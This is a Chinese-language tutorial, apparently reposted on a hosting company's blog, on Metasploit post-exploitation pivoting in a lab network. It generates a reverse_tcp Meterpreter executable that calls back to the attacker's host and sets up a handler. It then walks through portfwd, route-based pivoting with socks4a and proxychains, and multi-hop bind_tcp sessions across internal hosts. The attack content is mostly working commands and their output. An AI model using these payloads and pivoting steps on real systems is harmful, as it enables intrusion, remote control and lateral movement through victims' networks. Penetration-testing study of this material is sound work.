Metasploit渗透技巧:后渗透Meterpreter代理

Metasploit是一个免费的、可下载的渗透测试框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击测试。它本身附带数百个已知软件漏洞的专业级漏洞攻击测试工具。

当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来测试那些未打过补丁或者刚刚打过补丁的漏洞。

正是因为Metasploit团队一直都在努力开发各种攻击测试工具,并将它们贡献给所有Metasploit用户,软件厂商再也不能推迟发布针对已公布漏洞的补丁了。

本文将科普下metasploit隧道代理的使用技巧。

0×00 获取meterpreter

1.首先生成可执行文件

  1. root@kali:~# msfpayload windows/meterpreter/reverse_tcp  LHOST=192.168.101.105 LPORT=444 X > meter.exe  
  2. [!] ************************************************************************  
  3. [!] *               The utility msfpayload is deprecated!                  *  
  4. [!] *              It will be removed on or about 2015-06-08               *  
  5. [!] *                   Please use msfvenom instead                        *  
  6. [!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *  
  7. [!] ************************************************************************  
  8. Created by msfpayload (http://www.metasploit.com).  
  9. Payload: windows/meterpreter/reverse_tcp  
  10.  Length: 281  
  11. Options: {"LHOST"=>"192.168.101.105", "LPORT"=>"444"} 

2.启动msfconsole,监听反连端口

  1. root@kali:~# msfconsole  
  2. [*] Starting the Metasploit Framework console.../   
  3. Taking notes in notepad? Have Metasploit Pro track & report  
  4. your progress and findings -- learn more on http://rapid7.com/metasploit 
  5.        =[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]]  
  6. + -- --=[ 1386 exploits - 863 auxiliary - 236 post        ]  
  7. + -- --=[ 342 payloads - 37 encoders - 8 nops             ]  
  8. + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]  
  9. msf > use exploit/multi/handler   
  10. msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp  
  11. PAYLOAD => windows/meterpreter/reverse_tcp  
  12. msf exploit(handler) > set LHOST 0.0.0.0  
  13. LHOST => 0.0.0.0  
  14. msf exploit(handler) > set LPORT 444  
  15. LPORT => 444  
  16. msf exploit(handler) > show options   
  17. Module options (exploit/multi/handler):  
  18. Name  Current Setting  Required  Description  
  19.  ----  ---------------  --------  -----------  
  20. Payload options (windows/meterpreter/reverse_tcp):  
  21.    Name      Current Setting  Required  Description  
  22.    ----      ---------------  --------  -----------  
  23.    EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)  
  24.    LHOST     0.0.0.0          yes       The listen address  
  25.    LPORT     444              yes       The listen port  
  26. Exploit target:  
  27.    Id  Name  
  28.    --  ----  
  29.    0   Wildcard Target  
  30. msf exploit(handler) > run   
  31. [*] Started reverse handler on 0.0.0.0:444   
  32. [*] Starting the payload handler... 

3.在xp-test1执行meter.exe,attacker获得meterperter

  1. msf exploit(handler) > run   
  2. [*] Started reverse handler on 0.0.0.0:444   
  3. [*] Starting the payload handler...  
  4. [*] Sending stage (770048 bytes) to 192.168.101.107  
  5. [*] Meterpreter session 1 opened (192.168.101.105:444 -> 192.168.101.107:48019) at 2015-01-11 12:49:11 +0800  
  6. meterpreter > ipconfig  
  7. Interface  1 
  8. ============  
  9. Name         : MS TCP Loopback interface  
  10. Hardware MAC : 00:00:00:00:00:00  
  11. MTU          : 1520  
  12. IPv4 Address : 127.0.0.1  
  13. Interface  2 
  14. ============  
  15. Name         : AMD PCNET Family PCI Ethernet Adapter - pencS  
  16. Hardware MAC : 00:0c:29:ed:cf:d0  
  17. MTU          : 1500  
  18. IPv4 Address : 10.1.1.128  
  19. IPv4 Netmask : 255.255.255.0 

#p#

0×01 meterpreter基本隧道代理

好,现在已经有一个反弹回来的权限,下面介绍meterpreter隧道代理的几种方法

1.portfwd

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听.使用方法如下:

  1. meterpreter > portfwd   
  2. 0 total local port forwards.  
  3. meterpreter > portfwd  -h  
  4. Usage: portfwd [-h] [add | delete | list | flush] [args]  
  5. OPTIONS:  
  6.     -L <opt>  The local host to listen on (optional).  
  7.     -h        Help banner.  
  8.     -l <opt>  The local port to listen on.  
  9.     -p <opt>  The remote port to connect to.  
  10.     -r <opt>  The remote host to connect to. 

使用实例介绍:

反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法:

  1. meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389  
  2. [*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389  
  3. meterpreter > portfwd   
  4. 0: 0.0.0.0:2222 -> 10.1.1.129:3389  
  5. 1 total local port forwards. 

已经转发成功,下面来验证下:

  1. root@kali:~# netstat -an | grep "2222"  
  2. tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN 

可以看到已经成功监听2222端口

接着连接本地2222端口即可连接受害机器10.1.1.129 3389端口,如下:

  1. root@kali:~# rdesktop 127.1.1.0:2222 

 

 

可以看到,已经成功连接到10.1.1.129 的3389端口#p#

2. pivot

pivot是meterpreter最常用的一种代理,可以轻松把你的机器代理到受害者内网环境,下面介绍下pivot的搭建和使用方法

使用方法route add 目标i或ip段 Netmask 要使用代理的会话,通过实例来说明:

在metasploit添加一个路由表,目的是访问10.1.1.129将通过meterpreter的会话 1 来访问:

  1. msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1  
  2. [*] Route added  
  3. msf exploit(handler) > route print   
  4. Active Routing Table 
  5. ====================  
  6.    Subnet             Netmask            Gateway  
  7.    ------             -------            -------  
  8.    10.1.1.129         255.255.255.255    Session 1 

这里如果要代理10.1.1.129/24 到session 1,则可以这么写

  1. route add 10.1.1.0 255.255.255.0 1 

到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe 模块,ssh模块等)将通过代理session 1这个会话来访问。

如果想通过其他应用程序来使用这个代理怎么办呢,这时候可以借助 metasploit socks4a提供一个监听隧道供其他应用程序访问:

首先使用 socks4a并且配置,监听端口

  1. msf exploit(handler) > use auxiliary/server/socks4a   
  2. msf auxiliary(socks4a) > show options   
  3. Module options (auxiliary/server/socks4a):  
  4.    Name     Current Setting  Required  Description  
  5.    ----     ---------------  --------  -----------  
  6.    SRVHOST  0.0.0.0          yes       The address to listen on  
  7.    SRVPORT  1080             yes       The port to listen on.  
  8. Auxiliary action:  
  9.    Name   Description  
  10.    ----   -----------  
  11.    Proxy    
  12. msf auxiliary(socks4a) > exploit -y  
  13. [*] Auxiliary module execution completed  
  14. msf auxiliary(socks4a) >   
  15. [*] Starting the socks4a proxy server 

查看监听端口

  1. root@kali:~# netstat -an | grep "1080"  
  2. tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN 

端口已经监听,接着配置 proxychains

  1. root@kali:~# vim /etc/proxychains.conf  
  2. [ProxyList]  
  3. # add proxy here ...  
  4. # meanwileroot@kali:~# netstat -an | grep "1080"  
  5. tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN   
  6. # defaults set to "tor"  
  7. socks4  127.0.0.1 1080 

配置好以后看看使用 proxychains进行代理访问,这里访问10.1.1.129 3389端口

可以看到已经成功访问#p#

0×02 多级代理

1. 二级代理隧道

上面介绍了meterpreter基础的代理方法,但是有些实际环境不能直接使用,考虑如下环境(内网机器A、B。A机器可以对外连接,但是访问控制很严格,只能访问到很少的内网机器,B机器不能对外连接,但是可以访问到很多核心服务和机器,A、B之间可以互相访问),如果我们想通过B机器对核心服务和机器进行扫描和访问要怎么办呢?

这时候我们就meterpreter的pivot组合轻松实现二级代理就可以

效果示意图:attacker->xp-test1->xp-test2

首先接着上面,我们已经有一个xp-test1反弹回来的meterprter了,接着我们生成一个正向的执行文件

  1. root@kali:~# msfpayload windows/meterpreter/bind_tcp  RHOST=0.0.0.0 RPORT=4444 X > Rmeter.exe  
  2. [!] ************************************************************************  
  3. [!] *               The utility msfpayload is deprecated!                  *  
  4. [!] *              It will be removed on or about 2015-06-08               *  
  5. [!] *                   Please use msfvenom instead                        *  
  6. [!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *  
  7. [!] ************************************************************************  
  8. Created by msfpayload (http://www.metasploit.com).  
  9. Payload: windows/meterpreter/bind_tcp  
  10.  Length: 285  
  11. Options: {"RHOST"=>"0.0.0.0", "RPORT"=>"4444"} 

生成好以后在xp-test2上面运行

接着在msf里面添加路由

  1. msf exploit(handler) > route add 10.1.1.129 255.255.255.255 2  
  2. [*] Route added  
  3. msf exploit(handler) > route  print  
  4. Active Routing Table 
  5. ====================  
  6.    Subnet             Netmask            Gateway  
  7.    ------             -------            -------  
  8.    10.1.1.129         255.255.255.255    Session 2 

连接正向 meterpreter获取权限

  1. msf exploit(handler) > use exploit/multi/handler   
  2. msf exploit(handler) > set PAYLOAD windows//bind_tcp  
  3. PAYLOAD => windows/meterpreter/bind_tcp  
  4. msf exploit(handler) > set RHOST 10.1.1.129  
  5. RHOST => 10.1.1.129  
  6. msf exploit(handler) > show options   
  7. Module options (exploit/multi/handler):  
  8.    Name  Current Setting  Required  Description  
  9.    ----  ---------------  --------  -----------  
  10. Payload options (windows/meterpreter/bind_tcp):  
  11.    Name      Current Setting  Required  Description  
  12.    ----      ---------------  --------  -----------  
  13.    EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)  
  14.    LPORT     444              yes       The listen port  
  15.    RHOST     10.1.1.129       no        The target address  
  16. Exploit target:  
  17.    Id  Name  
  18.    --  ----  
  19.    0   Wildcard Target  
  20. msf exploit(handler) > set LPORT 4444  
  21. LPORT => 4444  
  22. msf exploit(handler) > show options   
  23. Module options (exploit/multi/handler):  
  24.    Name  Current Setting  Required  Description  
  25.    ----  ---------------  --------  -----------  
  26. Payload options (windows/meterpreter/bind_tcp):  
  27.    Name      Current Setting  Required  Description  
  28.    ----      ---------------  --------  -----------  
  29.    EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)  
  30.    LPORT     4444             yes       The listen port  
  31.    RHOST     10.1.1.129       no        The target address  
  32. Exploit target:  
  33.    Id  Name  
  34.    --  ----  
  35.    0   Wildcard Target  
  36. msf exploit(handler) > run   
  37. [*] Started bind handler  
  38. [*] Starting the payload handler...  
  39. [*] Sending stage (770048 bytes)  
  40. [*] Meterpreter session 3 opened (192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444) at 2015-01-11 13:34:37 +0800 

现在已经获取到xp-test2的权限,注意这里是通过xp-test1 pivot代理

下面来验证下,查看xp-test2 4444端口

  1. C:\Documents and Settings\Administrator>netstat -an | find "4444"  
  2.   TCP    10.1.1.129:4444        10.1.1.128:1051        ESTABLISHED 

是通过xp-test1进行连接的。

这时候二级代理已经搭建好了,你可以添加需要访问的ip到路由表,通过第二层的session(session 3),就可以使用metaploit的其他模块访问或扫描了。#p#

2.三级或多级代理

有时候过于庞大或者复杂的内网环境,甚至需要三层或者多层代理,原理与两层相似,通过在第二层代理的基础上进行连接既可

示意图:attacket->xp-test1->xp-test2->xp-test3->…..

与两层代理类似,如下实现:

  1. msf exploit(handler) > sessions -l  
  2. Active sessions 
  3. ===============  
  4.   Id  Type                   Information                        Connection  
  5.   --  ----                   -----------                        ----------  
  6.   2   meterpreter x86/win32  XP-TEST1\Administrator @ XP-TEST1  192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)  
  7.   4   meterpreter x86/win32  XP-TEST2\Administrator @ XP-TEST2  192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)  
  8. msf exploit(handler) > route  add 10.1.1.131 4  
  9. [-] Missing arguments to route add.  
  10. msf exploit(handler) > route  add 10.1.1.131 255.255.255.255 4  
  11. [*] Route added  
  12. msf exploit(handler) > route print   
  13. Active Routing Table 
  14. ====================  
  15.    Subnet             Netmask            Gateway  
  16.    ------             -------            -------  
  17.    10.1.1.129         255.255.255.255    Session 2  
  18.    10.1.1.131         255.255.255.255    Session 4  
  19. msf exploit(handler) > set RHOST=10.1.1.131  
  20. [-] Unknown variable  
  21. Usage: set [option] [value]  
  22. Set the given option to value.  If value is omitted, print the current value.  
  23. If both are omitted, print options that are currently set.  
  24. If run from a module context, this will set the value in the module's  
  25. datastore.  Use -g to operate on the global datastore  
  26. msf exploit(handler) > set RHOST 10.1.1.131  
  27. RHOST => 10.1.1.131  
  28. msf exploit(handler) > show options   
  29. Module options (exploit/multi/handler):  
  30.    Name  Current Setting  Required  Description  
  31.    ----  ---------------  --------  -----------  
  32. Payload options (windows/meterpreter/bind_tcp):  
  33.    Name      Current Setting  Required  Description  
  34.    ----      ---------------  --------  -----------  
  35.    EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)  
  36.    LPORT     4444             yes       The listen port  
  37.    RHOST     10.1.1.131       no        The target address  
  38. Exploit target:  
  39.    Id  Name  
  40.    --  ----  
  41.    0   Wildcard Target  
  42. msf exploit(handler) > run   
  43. [*] Started bind handler  
  44. [*] Starting the payload handler...  
  45. [*] Sending stage (770048 bytes)  
  46. [*] Meterpreter session 5 opened (192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444) at 2015-01-11 13:45:53 +0800  
  47. meterpreter > background   
  48. [*] Backgrounding session 5...  
  49. msf exploit(handler) > sessions -l  
  50. Active sessions 
  51. ===============  
  52.   Id  Type                   Information                        Connection  
  53.   --  ----                   -----------                        ----------  
  54.   2   meterpreter x86/win32  XP-TEST1\Administrator @ XP-TEST1  192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)  
  55.   4   meterpreter x86/win32  XP-TEST2\Administrator @ XP-TEST2  192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)  
  56.   5   meterpreter x86/win32  XP-TEST3\Administrator @ XP-TEST3  192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444 (10.1.1.131)  
  57. 在xp-test3查看端口连接  
  58. C:\Documents and Settings\Administrator>netstat -an | find "4444"  
  59.   TCP    10.1.1.131:4444        10.1.1.129:1032        ESTABLISHED  
  60. 在xp-test2查看4444端口  
  61. C:\Documents and Settings\Administrator>netstat -an | find "4444"  
  62.   TCP    10.1.1.129:1032        10.1.1.131:4444        ESTABLISHED  
  63.   TCP    10.1.1.129:4444        10.1.1.128:1054        ESTABLISHED  
  64. 说明已经实现三级连接,即attacker->xp-test1->xp-test2->xp-test3 

0×03 总结

最后,代理级数越多,带宽损耗和稳定性就会下降。渗透过程中根据实际情况自由灵活的选择和使用代理方式才能实现事半工倍的效果。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/152613.html<

(0)
管理的头像管理
上一篇2025-03-14 02:19
下一篇 2025-03-14 02:20

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注